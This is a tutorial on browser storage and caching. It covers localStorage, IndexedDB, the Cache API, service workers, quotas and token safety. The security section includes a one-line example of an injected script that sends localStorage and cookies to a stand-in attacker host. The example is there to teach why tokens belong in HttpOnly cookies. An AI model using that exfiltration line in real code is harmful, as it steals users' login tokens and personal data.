Browser Storage & Caching
Where a web app can keep data in the browser — cookies, localStorage, sessionStorage, IndexedDB, the HTTP cache, the Cache API and service workers — what each one costs, how much fits, when the browser throws it away, and what you must never put there. Every demo writes to your browser's real storage, in clearly labelled demo keys.
The 30-second version
You add a dark-mode switch. It works, until the user reloads the page and it's light again. You fix it with localStorage, and a month later someone asks why the login token is in there too, and why the app is blank when the train goes into a tunnel.
So far your app's data has probably lived in JavaScript variables (React state, for example). Those vanish on every reload. Everything in this topic is about the places that survive a reload, plus the caches that make a page load fast or work with no network at all.
Only cookies travel
Small and simple vs big and structured
Storage is a cache, not a vault
Here is the most common first bug. Both lines try to remember a user's settings:
const prefs = { theme: "dark", fontSize: 16 };
localStorage.setItem("prefs", prefs);
localStorage.getItem("prefs"); // "[object Object]" — the object is goneconst prefs = { theme: "dark", fontSize: 16 };
localStorage.setItem("prefs", JSON.stringify(prefs));
JSON.parse(localStorage.getItem("prefs")); // { theme: "dark", fontSize: 16 }localStorage only stores strings, so it turns your object into text with String(prefs), which is the useless "[object Object]". JSON turns the object into text that can be turned back. §04 shows this live, in your browser's real storage.
Along the way: what an origin is and why localhost:3000 can't see localhost:5173's data (§02), what a cookie costs on every request (§03), a real database in the browser (§05), what freezes the page and what doesn't (§06), how a request finds its answer in the caches (§07–§08), service workers and offline apps (§09–§10), how much you can store before the browser says no (§11), and what you must never put in browser storage (§12).
Primer: origins, waiting, and where to look
Three small ideas make the rest of this topic easy: whose data it is, when you get an answer, and where you can see it.
1. Every origin gets its own boxes
An origin is the first part of a URL: scheme + host + port. For https://shop.example.com:443/cart?item=7, the origin is https://shop.example.com (443 is the default port for https, so it's usually left out). The path /cart and the query ?item=7 aren't part of it.
The browser keeps a separate set of boxes for every origin: its own localStorage, sessionStorage, IndexedDB and Cache API. Code from one origin can't read another origin's boxes. It's the storage side of the same-origin policy.
https://shop.example.comTwo results surprise people:
- Different ports are different origins. Your app on
localhost:5173and your API onlocalhost:3000don't share localStorage. Nothing is broken; they're two different "sites" as far as storage is concerned. - Cookies play by older rules. A cookie belongs to a host name (and optionally its parent domain), not to an origin, and it ignores the port. §03 covers cookies; CORS & CSRF covers origins versus sites in depth.
2. Some APIs answer now, some answer later
A synchronous API does all its work before it returns. localStorage.getItem("theme") hands you the value right there, so the next line can use it. Easy to write, but if the work is slow, the whole page waits: no clicks, no scrolling, no animation.
An asynchronous API starts the work and returns at once. You get the answer later, through an event, a Callback or a Promise. IndexedDB and the Cache API work this way; so does fetch.
const theme = localStorage.getItem("theme"); // synchronous: the value, right now
console.log(theme); // "dark"
const cache = await caches.open("pages"); // asynchronous: a Promise, awaited
const hit = await cache.match("/about"); // the page keeps running while we waitIf await is new to you, Async / Await explains it from scratch. The short version: await pauses this function until the answer arrives, while the browser keeps the rest of the page running.
3. Where to look: DevTools → Application
Every box in this topic is visible in DevTools. In Chrome or Edge, open the Application panel (F12, then the Application tab):
- Storage lists Local storage, Session storage, IndexedDB, Cookies and Cache storage, per origin. You can read, edit and delete entries.
- Service workers shows registered workers, their state, and an "Update on reload" checkbox for development.
- Storage (the top item) has a usage chart and a Clear site data button that empties every box at once.
Firefox calls the same panel Storage; Safari has a Storage tab in Web Inspector.
localStorage and sessionStorage
localStorage is the fridge door: a few labelled jars per origin, grabbed instantly, there until someone throws them out. sessionStorage is the same thing on a tray for one tab. Both store only strings.The whole API
Both objects have the same five methods. The calls are synchronous: the value is there on the next line.
localStorage.setItem("theme", "dark"); // save (overwrites any old value)
localStorage.getItem("theme"); // "dark"
localStorage.getItem("nope"); // null — a missing key is null, not undefined
localStorage.removeItem("theme"); // delete one key
localStorage.clear(); // delete EVERY key for this origin (careful)That's it. No folders, no expiry dates, no querying. If you need "expires in a week", you store the date yourself next to the value and check it when you read.
Strings in, strings out
Web Storage converts whatever you give it to a string with String(value). Numbers survive as digits but come back as strings; objects turn into "[object Object]"; arrays into "1,2,3". So: JSON.stringify on the way in, JSON.parse on the way out.
Reading is where real apps crash. The key might be missing (null), or hold text written by an older version of your app, or have been edited by hand in DevTools. A safe helper:
export function loadJSON(key, fallback) {
try {
const text = localStorage.getItem(key);
return text === null ? fallback : JSON.parse(text); // ← missing key → fallback
} catch {
return fallback; // corrupt JSON, or storage blocked (some privacy modes) → fallback
}
}
export function saveJSON(key, value) {
try {
localStorage.setItem(key, JSON.stringify(value));
return true;
} catch {
return false; // full (QuotaExceededError) or blocked: the app keeps working without it
}
}In React, the usual place to read it is the lazy initial value of useState, so it's read once, not on every render:
const [prefs, setPrefs] = useState(() => loadJSON("prefs", { theme: "light" })); // read once
useEffect(() => { saveJSON("prefs", prefs); }, [prefs]); // write on changeThe function form useState(() => …) and the effect are explained in React Hooks. One warning if your components are also rendered on a server: there's no localStorage there. loadJSON catches the error and returns the fallback, so nothing crashes, but now the server renders "light" while the browser's first render reads "dark". That's a hydration mismatch; §14's pitfall #3 and CSR, SSR & Hydration show the fix (read storage in an effect).
Try it
storage event; the page that wrote it doesn't.How long it lives, and who sees it
| localStorage | sessionStorage | |
|---|---|---|
| Survives a reload | yes | yes |
| Survives closing the tab | yes | no |
| Shared between tabs of the same origin | yes, all of them | no: each tab has its own |
| Size limit (Chromium, measured) | 5,242,880 characters per origin | the same, per tab |
| Readable by | every script on the page | every script in that tab |
Duplicating a tab copies its sessionStorage into the new tab; most other ways of opening a new tab start with an empty one.
The limit is counted in characters (keys plus values), not bytes. Strictly, it counts UTF-16 code units: almost every character, including "é" and "中", counts as one, same as "a"; an emoji counts as two. The widget's "find the limit" button got 5,242,880 in Chromium, which is exactly 5 × 1024 × 1024. Firefox and Safari also allow about 5 MB per origin. Go over it and setItem throws a QuotaExceededError; Chromium's message is "Setting the value of 'q' exceeded the quota."
Keeping tabs in sync: the storage event
When one tab changes localStorage, the browser fires a storage event in every other page (tab or frame) of the same origin, but not in the page that made the change. Other frames inside the same tab do get it: that's what the framed "other document" in the widget is listening to.
window.addEventListener("storage", (event) => {
if (event.key === "theme") applyTheme(event.newValue); // another tab switched theme
// event.oldValue = the previous value · event.newValue = null if the key was removed
});So "log out in one tab, every tab logs out" or "switch theme everywhere" takes a few lines. For richer messages between tabs, §13 shows BroadcastChannel.
Where it falls short
- Synchronous means main-thread time. Every call blocks your JavaScript until it's done. Small values cost almost nothing; megabytes of JSON don't (§06 measures it).
- No service workers, no Web Workers. Neither the service workers of §09 nor Web Workers (background threads for heavy work) can use it at all. Use IndexedDB there.
- Anyone on the page can read it. That includes every third-party script and any injected one (§12). Never store tokens here.
IndexedDB: a real database in the browser
The pieces
If you've used a SQL database, most of this will feel familiar; if not, the right-hand column is all you need.
| IndexedDB | Roughly like | In plain words |
|---|---|---|
database ("notes-app", version 1) | a database | One per app, per origin. Has a whole-number version. |
object store ("notes") | a table | A collection of records. |
key (id: 7) | primary key | Every record has a unique key. The keyPath says which property it is. |
index ("byTag") | a database index | An extra sorted list so you can find records by another property (all notes tagged "home"). |
| transaction | a transaction | A group of reads and writes that are saved all together or not at all. |
Records are JavaScript objects, copied with the structured clone algorithm, not with JSON. So a Date comes back as a Date, and you can store Map, Set, binary data such as Blobs and Files directly. What can't be stored: functions, DOM elements, and anything that holds them. Instances of your own classes come back as plain objects: the data survives, the methods don't.
Step through it
The raw API is older than Promises, so it reports results through events on IDBRequest objects. Here is one full run:
1const req = indexedDB.open("notes-app", 1);23req.onupgradeneeded = () => {4 const db = req.result;5 const notes = db.createObjectStore("notes", { keyPath: "id", autoIncrement: true });6 notes.createIndex("byTag", "tag");7};89req.onsuccess = () => {10 const db = req.result;11 const tx = db.transaction("notes", "readwrite");12 tx.objectStore("notes").add({ text: "Buy milk", tag: "home", created: new Date() });13 tx.oncomplete = () => console.log("saved");14};
indexedDB.open returns immediately, before anything is opened. What you get back is an IDBRequest: an object that will fire an event later. Your code keeps running; the browser goes to the disk in the background.Two rules come out of that walk-through:
- You can only change the structure in
upgradeneeded. Creating stores and indexes happens there, triggered by opening with a higher version number. That's your migration hook (§13). - Transactions commit by themselves. As soon as your code returns to the event loop and the transaction has no pending requests, it commits. There's no
commit()you must remember to call.
Try it: a real database
Click both "+500" buttons and compare the times. Every transaction is a separate trip to the disk with its own "make sure it's saved" step, so 500 transactions are much slower than one transaction with 500 writes. In headless Chromium on the author's machine, one transaction took about 35 ms and 500 separate ones about 230 ms (median of 5 runs), and the gap grows on slower disks and phones. Batch your writes.
The trap: awaiting something else mid-transaction
Rule 2 has a sharp edge. If you await anything that isn't a request on the same transaction, the transaction runs out of work while you wait, and commits:
const tx = db.transaction("notes", "readwrite");
const store = tx.objectStore("notes");
const res = await fetch("/api/notes/7"); // tx has nothing to do → commits
store.put(await res.json()); // 💥 TransactionInactiveErrorconst res = await fetch("/api/notes/7"); // network first
const note = await res.json();
const tx = db.transaction("notes", "readwrite");
tx.objectStore("notes").put(note); // then a short transactionChromium's exact message: "TransactionInactiveError: Failed to execute 'put' on 'IDBObjectStore': The transaction has finished."
A small promise wrapper
Nobody wants to write onsuccess handlers forever. Two tiny helpers turn requests and transactions into promises, which makes the code read top to bottom:
// Turn an IDBRequest into a Promise of its result.
export const reqP = (r) => new Promise((resolve, reject) => {
r.onsuccess = () => resolve(r.result);
r.onerror = () => reject(r.error);
});
// Resolve when a transaction has been saved to disk.
export const done = (tx) => new Promise((resolve, reject) => {
tx.oncomplete = () => resolve();
tx.onerror = tx.onabort = () => reject(tx.error);
});
// Usage
const tx = db.transaction("notes", "readwrite");
tx.objectStore("notes").put({ id: 7, text: "Buy milk", tag: "home" });
await done(tx); // saved
const homeNotes = await reqP(
db.transaction("notes").objectStore("notes").index("byTag").getAll("home") // ← query by index
);In real projects most teams use the small idb library, which does this wrapping for the whole API (await db.put("notes", note)), or a bigger layer such as Dexie when they want queries and live updates. Both are thin: everything in this section still applies underneath.
What freezes the page, and which box to choose
You'll read everywhere that "localStorage is synchronous, so it blocks; IndexedDB is async, so it doesn't." That's half right. Let's measure instead of guessing.
Freeze the page on purpose
The ball below is moved by JavaScript on the main thread, once per Frame. The main thread is the one worker that runs your JavaScript and draws the page, so while it's busy with something else, the ball can't move. Each button saves or loads the same 10,000 notes (about 2.6 MB as JSON).
Here's what it measured on this page in headless Chromium on the author's machine (three runs each, so you see the spread). At 60 frames per second a frame lasts about 17 ms, so 17 ms means "nothing was missed" and 33 ms means one frame was skipped. The freeze column can't show less than one frame, which is why a 2 ms operation still reads 17 ms there.
| Operation | Longest freeze | Total time |
|---|---|---|
localStorage: setItem 2.6 MB of JSON | 17–33 ms | 20–21 ms |
localStorage: getItem + JSON.parse | 17–33 ms | 2–7 ms |
IndexedDB: 10,000 put() calls in one transaction | 67–200 ms | 480–560 ms |
IndexedDB: one put() of the whole array | 17–33 ms | 33–42 ms |
IndexedDB: getAll() of 10,000 records | 17–33 ms | 226–340 ms |
| A 200 ms loop of plain JavaScript (for comparison) | 200–217 ms | 200 ms |
What the numbers say
localStorage was fast here. Chromium keeps a copy of each origin's localStorage in memory, so 2.6 MB cost a frame or two. But every call still runs on the main thread from start to finish, the first access on a page may have to load the whole thing from disk, JSON.stringify and JSON.parse grow with the data, and a cheap phone is several times slower than this machine. Fine for small settings; risky as a database.
10,000 IndexedDB writes froze the page for up to 200 ms, a Long task users can feel. The disk work happened in the background, but each put() copies its object right away, on the main thread, with the structured clone algorithm (the Stepper in §05 showed this step). Ten thousand small copies add up.
One big write or a getAll() barely froze anything (a skipped frame at most), even though getAll() took a quarter of a second in total: the slow part happened in the background. So the useful rule is not "async is free" but: async takes waiting off the main thread; copying stays on it.
Which box for which data?
| You want to keep… | Use | Why not the others |
|---|---|---|
| A session / login | an HttpOnly cookie, set by the server | Anything JS can read can be stolen (§12) |
| Theme, language, "don't show this again" | localStorage | A cookie would be uploaded with every request for nothing |
| A half-filled form in one tab | sessionStorage | localStorage would leak it into other tabs and keep it forever |
| Thousands of records, offline data, an outbox of unsent changes | IndexedDB | localStorage tops out at ~5 MB of strings and blocks |
| Images or files the user added | IndexedDB (Blobs) | localStorage can't hold binary data |
| API responses or pages to show offline | the Cache API, from a service worker (§08–§10) | They're already HTTP responses; store them as such |
| Your JS, CSS and image files | the HTTP cache, with good headers (§07) | The browser manages it for free |
| Data fetched from your API, while the page is open | memory: a library that keeps API responses in memory, such as TanStack Query (State Management) | Writing everything to disk adds cost and stale-data bugs |
When in doubt, start with memory and the server. Add browser storage when you can name the benefit: survives a reload, works offline, or saves a request.
The HTTP cache, and the path a request takes
This topic covers the browser's side of it. The headers themselves (max-age, no-cache versus no-store, ETag, 304 Not Modified) are taught in HTTP §08 and, in depth, in Caching §09. You need only two of them here:
Cache-Control: max-age=31536000, immutablemeans "reuse this for a year without asking".Cache-Control: no-cachemeans "you may store it, but check with me before every use". The check is a small request; if nothing changed, the server answers304 Not Modifiedwith no body, and the stored copy is used.
The path of one request
When a page asks for a file, the browser tries several places in order and stops at the first one that can answer:
Nothing cached yet. The request falls through every layer to the network. The response says Cache-Control: max-age=31536000, immutable, so the browser keeps a copy in the HTTP cache on the way back.
Click through the six situations in order; they tell a story:
- First visit and Next day: the HTTP cache makes repeat visits fast: a fresh copy means no request at all.
- index.html and Offline, no service worker: it does not make the app work offline: anything that needs checking, needs the network.
- Offline, with a service worker: a Service worker sits in front of the HTTP cache. It's the only layer your own code controls, which is why offline apps are built with one (§09).
- Service worker calls fetch(): a service worker's own
fetch()goes through the HTTP cache. So there can be two copies of a file: the one you stored and the one the browser stored.
The pattern every modern build uses
How can a file be cached for a whole year if you deploy every day? By never changing a file under the same name. Build tools like Vite put a hash of each file's contents into its name: a content-hashed file name such as assets/index-3f9a1c.js. Change one character of code and the next build produces a different name.
So a deployed site has two kinds of files:
- Hashed assets (
/assets/index-3f9a1c.js, CSS, images): cache forever. A new version is a new URL, so a stale copy can't be served by mistake. index.html: its name can't change (it's the address people type), and it's the file that points to the current hashed names. So it must be checked on every visit.
That's two lines of server config. In Go, serving a Vite build:
package main
import (
"net/http"
"strings"
)
func main() {
files := http.FileServer(http.Dir("dist")) // the output of `vite build`
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
if strings.HasPrefix(r.URL.Path, "/assets/") {
// index-3f9a1c.js: a new build means a new name → safe to keep for a year
w.Header().Set("Cache-Control", "public, max-age=31536000, immutable")
} else {
// index.html: its name never changes → keep it, but check before every use
w.Header().Set("Cache-Control", "no-cache")
}
files.ServeHTTP(w, r)
})
http.ListenAndServe(":8080", nil)
}Most hosts (Netlify, Vercel, Cloudflare Pages, S3 + a CDN) let you set the same two rules in a config file. Build Tools shows where the hashes come from; Web Performance shows what good caching does to load times.
The Cache API: responses you store yourself
It was designed for service workers (§09), but ordinary pages can use it too, as long as they're in a secure context (HTTPS, or localhost while developing).
The API in six calls
const cache = await caches.open("pages-v1"); // open (or create) a named cache
await cache.put("/about", response); // store a Response (e.g. from fetch) under a request
const hit = await cache.match("/about"); // a Response, or undefined on a miss
await cache.add("/about"); // fetch it AND store it (fails on 404/500)
const keys = await cache.keys(); // every stored Request
await cache.delete("/about"); // remove one entry
await caches.delete("pages-v1"); // remove the whole cacheEverything returns a Promise, so it's all asynchronous. Keys are requests, and only GET requests can be stored, so in practice the key is the URL. /products?page=1 and /products?page=2 are different entries, unless you pass { ignoreSearch: true } to match.
Try it
?page=1 and ?page=2 are different keys.Two facts from the widget:
- Headers don't matter. The fake server sends
Cache-Control: max-age=0, which tells the HTTP cache not to reuse it. The Cache API stores it anyway and hands it back next week. Nothing in a Cache API cache ever expires by itself. - It's instant only because it skips the network. The match came back in a millisecond or two instead of 600 ms.
The one gotcha: a body can be read once
A Response body is a stream: once something reads it, it's used up. If you store a response and also want to return it, store a copy:
const res = await fetch(url);
await cache.put(url, res); // the cache reads the body…
return res.json(); // 💥 TypeError: body stream already readconst res = await fetch(url);
await cache.put(url, res.clone()); // ← the cache gets its own copy
return res.json(); // the original is still unreadChromium's message for the left one: "Failed to execute 'text' on 'Response': body stream already read" (or 'json', whichever method you called).
You own the cleanup
Because nothing expires, every app that uses the Cache API needs a plan for old data:
- Put a version in the cache name (
"shell-v3"), and delete every cache with a different name when a new version takes over (§09 does this in the service worker'sactivatestep). - Cap runtime caches. If you cache every image the user views, delete the oldest entries past, say, 100.
cache.keys()returns them in the order they were added. cache.addandaddAllreject on any non-OK response (a 404 throws "TypeError: Failed to execute 'add' on 'Cache': Request failed"), andaddAllstores nothing if any one fails. That's useful for "all files or none" precaching, and a surprise if one file in the list is missing.
Service workers: a proxy you write
fetch handler, which can answer from a cache, go to the network, or make up a response on the spot.What it is, exactly
- A separate JavaScript file (
/sw.js) that the browser downloads, installs and keeps registered for your origin, even when no page is open. - Not part of any page. It has no DOM, no
window, and nolocalStorage. It talks to storage through the Cache API and IndexedDB. - Event-driven and disposable. The browser starts it when there's an event to handle (a request, a push message) and stops it when idle, often after about 30 seconds. Global variables don't survive: anything that must last goes in storage.
- Only in secure contexts (HTTPS, or localhost), because a script that can rewrite every response would be a gift to an attacker on an open Wi-Fi.
It controls the pages inside its scope: by default, the folder the script was served from. /sw.js controls the whole site; /app/sw.js controls only /app/….
The code
The page registers it; the worker itself is three event handlers.
if ("serviceWorker" in navigator) {
navigator.serviceWorker.register("/sw.js"); // returns a Promise; safe to call on every load
}const CACHE = "shell-v1";
const SHELL = ["/", "/app.css", "/app.js"];
self.addEventListener("install", (event) => { // once per new version
event.waitUntil(caches.open(CACHE).then((c) => c.addAll(SHELL)));
});
self.addEventListener("activate", (event) => { // this version takes over
event.waitUntil(
caches.keys().then((names) =>
Promise.all(names.filter((n) => n !== CACHE).map((n) => caches.delete(n))))
);
});
self.addEventListener("fetch", (event) => { // every request from a controlled page
event.respondWith(
caches.match(event.request).then((hit) => hit || fetch(event.request)) // ← cache, else network
);
});The install step is precaching: download the app shell (the HTML, CSS and JS needed to draw the app's frame) before the user needs it. From then on, the app can start without a network.
The lifecycle, step by step
The tricky part of service workers isn't the code; it's when a version is in charge. Step through a first visit and an update:
1// app.js (the page)2navigator.serviceWorker.register("/sw.js");34// sw.js5const CACHE = "shell-v1";6self.addEventListener("install", (event) => {7 event.waitUntil(caches.open(CACHE).then((c) => c.addAll(["/", "/app.css", "/app.js"])));8});9self.addEventListener("activate", (event) => {10 event.waitUntil(caches.keys().then((names) =>11 Promise.all(names.filter((n) => n !== CACHE).map((n) => caches.delete(n)))));12});13self.addEventListener("fetch", (event) => {14 event.respondWith(caches.match(event.request).then((hit) => hit || fetch(event.request)));15});
register(). The browser downloads sw.js and starts it in the background, separate from the page.The three surprises from that walk-through:
- The first visit isn't controlled. A page picks its service worker when it loads. A new worker can call
clients.claim()inactivateto take over open pages immediately; only do that if your pages can cope with switching mid-session. - Updates wait. A new version installs next to the old one and becomes a waiting worker until every tab using the old version is closed. A reload isn't enough.
skipWaiting()jumps the queue. Callingself.skipWaiting()in the new worker activates it right away, and open pages switch to it. Risky: a page loaded with v1's HTML may now ask v2 for files that v2 renamed. The common pattern is to show "A new version is available — Reload" and callskipWaiting()only when the user clicks.
Try it: a real service worker, safely sandboxed
(Without one, nothing exists at this path.)
Things to try in the demo, and what they show:
- Register v1, then fetch → "network", a fresh time. Go offline, fetch again → "cache (network failed)": the worker served its saved copy.
- Deploy v2 → v2 appears under waiting, and the framed page still shows v1. Reload sandbox page (a real
location.reload()): still v1, and v2 is still waiting. That's surprise 2, for real. - Close & reopen sandbox → the only page v1 controlled is gone, so v2 activates and the new page shows v2's HTML. That's the "close every tab" path. To try the other path, click Unregister and start again.
- skipWaiting() → v2 becomes active. Fetch again: the answer now says "worker v2", even though the framed page's HTML still came from v1. Reload the sandbox page to get v2's HTML. That mismatch is why
skipWaiting()needs care.
Updating in practice
The browser checks for a new sw.js whenever someone navigates to a page in its scope (and before some background events, if it hasn't checked in 24 hours). It downloads the script and compares it byte for byte with the installed one; any difference starts an install. Two habits make updates reliable:
- Serve
sw.jsitself withCache-Control: no-cache. Modern browsers skip the HTTP cache when checking the worker script by default, but the files it imports withimportScriptsmay still come from cache. - Never cache-first your HTML without a way to update it. If
index.htmlis served from a cache forever, users are stuck on that version of the app. §10 shows which strategy fits which file.
Caching strategies and offline
The four you'll use
- Cache-first: answer from the cache if there's a copy; use the network only on a miss. Fastest, works offline, but never notices new content under the same URL.
- Network-first: try the network and save what comes back; use the cached copy only when the network fails. Fresh when online, works offline, but as slow as the network when it's slow.
- Stale-while-revalidate: answer immediately with the cached copy, and at the same time fetch a fresh one to store for next time. Fast and always one version behind at most.
- Network-only: don't cache at all. For things that must be live or must not be replayed, like a payment.
Play with them. Deploy new content on the "server", switch the network to slow or offline, and see what the user gets and how long they wait:
Things worth trying: cache-first + deploy (the user is stuck on v1 forever), network-first + slow (every request waits 3 s even though a copy is sitting right there), stale-while-revalidate + deploy (the first request after a deploy is stale, the next is current).
Which file gets which
| Request | Strategy | Why |
|---|---|---|
Hashed assets (/assets/index-3f9a1c.js) | cache-first | The name changes when the content does, so a cached copy is never wrong (§07) |
Pages (index.html, navigations) | network-first, with an offline fallback | Must pick up new deploys; offline, the last good copy beats an error |
| Feeds, avatars, "nice to be fresh" API data | stale-while-revalidate | Instant, and at most one visit behind |
POST/PUT/DELETE, payments, auth | network-only | Never answer a write from a cache; queue it instead (§13) |
The code
Each strategy is a few lines. The fetch handler picks one by looking at the request:
// cache-first: hashed files that never change
async function cacheFirst(request) {
const hit = await caches.match(request);
if (hit) return hit;
const res = await fetch(request);
if (res.ok) await (await caches.open(ASSETS)).put(request, res.clone());
return res;
}
// network-first: HTML, and data that should be fresh whenever possible
async function networkFirst(request) {
try {
const res = await fetch(request);
if (res.ok) await (await caches.open(PAGES)).put(request, res.clone());
return res;
} catch {
return (await caches.match(request)) ?? (await caches.match("/offline.html")) ?? Response.error();
}
}
// stale-while-revalidate: answer with the saved copy now, refresh it for next time
async function staleWhileRevalidate(event) {
const cache = await caches.open(RUNTIME);
const hit = await cache.match(event.request);
const refresh = fetch(event.request).then(async (res) => {
if (res.ok) await cache.put(event.request, res.clone());
return res;
});
event.waitUntil(refresh.catch(() => {})); // ← keep the worker alive until the refresh is stored
return hit ?? refresh;
}
self.addEventListener("fetch", (event) => {
const { request } = event;
const url = new URL(request.url);
if (request.method !== "GET" || url.origin !== location.origin) return; // not ours: normal network
if (url.pathname.startsWith("/assets/")) event.respondWith(cacheFirst(request));
else if (request.mode === "navigate") event.respondWith(networkFirst(request));
else if (url.pathname.startsWith("/api/")) event.respondWith(staleWhileRevalidate(event));
});We ran this worker in headless Chromium against a test server: assets came from the network once and then from the cache, /api/ returned the saved copy instantly and was one step behind after each refresh, and with the network switched off, a reload still showed the last page.
A network timeout is the common upgrade to network-first: race fetch against a 3-second timer and fall back to the cache if the timer wins, so a bad connection doesn't feel like a frozen app. And libraries such as Workbox package these strategies, precaching and cache expiry, so you write route rules instead of the functions above.
Offline is a feature, not an error
- Give navigation requests a fallback page (
/offline.html, precached at install) instead of the browser's "No internet" screen. - Don't trust
navigator.onLine.trueonly means "connected to some network", not "the internet works" (a hotel Wi-Fi login page counts as online). Use it for hints in the UI; let failed requests tell you the truth. - Writes need a queue. You can't serve a
POSTfrom a cache. An offline-first app saves the change locally and sends it later (§13's outbox).
Quotas, eviction and persistent storage
How much fits?
Ask the browser. navigator.storage.estimate() reports how much this origin uses and how much it may use, counting IndexedDB, the Cache API, service worker scripts and the origin private file system. The meter below runs it live in your browser:
const { usage, quota } = await navigator.storage.estimate();
console.log(`${(usage / 1e6).toFixed(1)} MB used of ${(quota / 1e9).toFixed(1)} GB`);What we saw in headless Chromium: a 5 MB Blob in IndexedDB counted as about 5.3 MB, a 5 MB response in the Cache API as about 5.2 MB, and writing 1 MB to localStorage didn't change the number: localStorage and cookies have their own small limits (§03, §04) outside this quota. After deleting the cache, the reported usage stayed the same for a while: browsers clean up lazily.
The quota itself depends on the browser and the free disk space. At the time of writing, per MDN's "Storage quotas and eviction criteria" page:
| Browser | Roughly how much one origin may use |
|---|---|
| Chrome, Edge (Chromium) | up to 60% of the total disk |
| Firefox | up to 10% of the disk (or 10 GB) per site by default; more if storage is persistent |
| Safari 17+ | around 60% of the disk for sites opened in Safari; less inside apps' embedded web views |
These rules change between versions, so always ask estimate() rather than hard-coding a number. The answer is also deliberately approximate, so sites can't use exact disk numbers to recognise your device.
When the browser deletes it anyway
By default a site's storage is best-effort: the browser keeps it as long as it can, and deletes it when it must. Eviction happens in a few situations:
- Storage pressure. When the disk gets nearly full, the browser frees space by deleting whole origins, starting with the ones used least recently (the LRU idea). It doesn't delete half your database: all of this site's IndexedDB, caches and service workers go together, so your data is never left half-deleted.
- Safari's 7-day rule. Safari's Intelligent Tracking Prevention can delete all script-written storage (localStorage, IndexedDB, Cache API, service workers) for a site the user hasn't interacted with in the last seven days of using Safari. Web apps added to the Home Screen are exempt. If your users are on iPhones, assume a returning visitor may have nothing stored.
- Private windows. Storage works, often with a smaller quota, and everything is deleted when the window closes.
- The user, via "Clear browsing data" or DevTools. Always possible, never announced.
Asking for persistence
if (navigator.storage?.persist && !(await navigator.storage.persisted())) {
const granted = await navigator.storage.persist(); // true = won't be evicted automatically
}With persistent storage granted, the browser won't evict the site under storage pressure; only the user can clear it. How it's granted differs: Chromium decides silently (sites the user visits a lot, has installed or bookmarked, or allowed to send notifications), Firefox shows a permission prompt, and Safari decides on its own heuristics. Ask at a meaningful moment, like "Make these notes available offline", not on first page load.
What never to store in the browser
Four facts that decide what's safe
- The user controls it. DevTools edits localStorage, IndexedDB and non-
HttpOnlycookies in two clicks. - Every script on the page can read it. Not just your code: analytics, chat widgets, ad tags, every npm package in your bundle, and any script an attacker manages to inject. That last one is cross-site scripting (XSS), covered in OWASP Top 10 §04.
- It outlives the session. On a shared or stolen laptop, the next person gets whatever you left there.
- It can vanish (§11), so it can't be the only copy of anything important.
Tokens: the classic mistake
Many tutorials save a login token, usually a JWT, with localStorage.setItem("token", jwt) and send it on every API call as a bearer token (Authorization: Bearer <token>: whoever presents it is let in). It works, and it means one XSS bug hands every user's login to the attacker. See for yourself:
// one line hidden in a compromised npm package or an unescaped comment
new Image().src = "https://evil.example/steal?d=" +
encodeURIComponent(JSON.stringify({ ...localStorage }) + " | " + document.cookie);An Access token in localStorage can be copied and used from the attacker's own machine until it expires. A session ID in an HttpOnly cookie can't be read by any script. An injected script can still use the session while the tab is open (the browser attaches the cookie to its requests), but it can't take it away, and the damage stops when the tab closes or the session ends.
// after login
localStorage.setItem("token", data.accessToken);
// every request
fetch("/api/me", { headers: { Authorization: `Bearer ${localStorage.getItem("token")}` } });// the server's login response sets:
// Set-Cookie: __Host-sid=…; Path=/; HttpOnly; Secure; SameSite=Lax
// every request (same site): the cookie goes along automatically
fetch("/api/me");(__Host- at the start of the cookie name is a prefix the browser enforces: the cookie must be Secure, have Path=/ and no Domain, so no subdomain can set or overwrite it.)
If your single-page app must hold tokens for a third-party API, keep the access token in memory only (a variable, gone on reload) and get new ones through an HttpOnly cookie, or put a small server in between (a "backend for frontend"). Authentication §06 walks through both designs. Cookie-based sessions bring their own risk, cross-site request forgery, which SameSite and the defences in CORS & CSRF handle.
The never list
| Never store | Because | Instead |
|---|---|---|
| Long-lived tokens, refresh tokens | XSS can copy them | HttpOnly cookie, or memory + a BFF |
| API secrets, private keys | Anything shipped to the browser is public (Secrets) | Keep them on the server; proxy the call |
| Passwords, card numbers | Never needed after the request that used them | Send once over HTTPS, keep nothing |
"Trusted" flags: isAdmin, prices, discounts, quotas | The user can edit them | The server decides on every request |
| More personal data than the screen needs | Shared devices, XSS, privacy law (GDPR) | Fetch it when needed; cache the minimum |
if (localStorage.isAdmin) showAdminMenu() is fine for deciding what to show. It's never fine for deciding what's allowed: the admin API must check the session on the server, every time.
Clean up on logout
Logging out should leave nothing behind for the next person. In the browser, clear what your app wrote; on the server, end the session and send Clear-Site-Data, which asks the browser to wipe everything for your origin:
func logout(w http.ResponseWriter, r *http.Request) {
// 1. delete the session on the server first (not shown)
// 2. expire the session cookie
http.SetCookie(w, &http.Cookie{
Name: "__Host-sid", Value: "", Path: "/",
MaxAge: -1, // ← negative = "delete it now" (Go sends Max-Age=0)
Secure: true, HttpOnly: true, SameSite: http.SameSiteLaxMode,
})
// 3. ask the browser to wipe everything else this site stored
w.Header().Set("Clear-Site-Data", `"cache", "cookies", "storage"`)
w.WriteHeader(http.StatusNoContent)
}Clear-Site-Data is supported in Chromium-based browsers and Firefox; check MDN for Safari's current support, which is why the JavaScript side clears things too. If several people can share one browser profile, also put the user ID in your storage keys or database name, so one user's leftovers can never be shown to the next.
Staff-level: storage in production
1. Version what you store
localStorage: store a version next to the data and migrate on read. A tiny shape change (renaming dark: true to theme: "dark") otherwise turns into a crash on every returning visitor's first load.
const KEY = "prefs";
const CURRENT = 2;
export function loadPrefs() {
const saved = loadJSON(KEY, null); // §04's safe reader
if (!saved) return { v: CURRENT, theme: "light" };
if (saved.v === 1) return { v: 2, theme: saved.dark ? "dark" : "light" }; // ← v1 → v2
if (saved.v === CURRENT) return saved;
return { v: CURRENT, theme: "light" }; // unknown (newer?) shape: start fresh, don't crash
}IndexedDB: the version number is built in. Each release that changes the structure bumps it, and the upgrade handler runs every step between the user's old version and the new one, whichever version they had (this is a database migration, client-side):
const req = indexedDB.open("notes-app", 3);
req.onupgradeneeded = (event) => {
const db = req.result;
const tx = req.transaction; // the versionchange transaction
switch (event.oldVersion) { // no `break`: fall through every later step
case 0:
db.createObjectStore("notes", { keyPath: "id", autoIncrement: true });
case 1:
tx.objectStore("notes").createIndex("byTag", "tag");
case 2:
db.createObjectStore("outbox", { keyPath: "id", autoIncrement: true });
}
};2. Old tabs block upgrades
A version change can't happen while another tab still has the database open with the old version. The new tab's open() fires blocked and waits. Meanwhile the old tab gets a versionchange event, and it's polite to step aside:
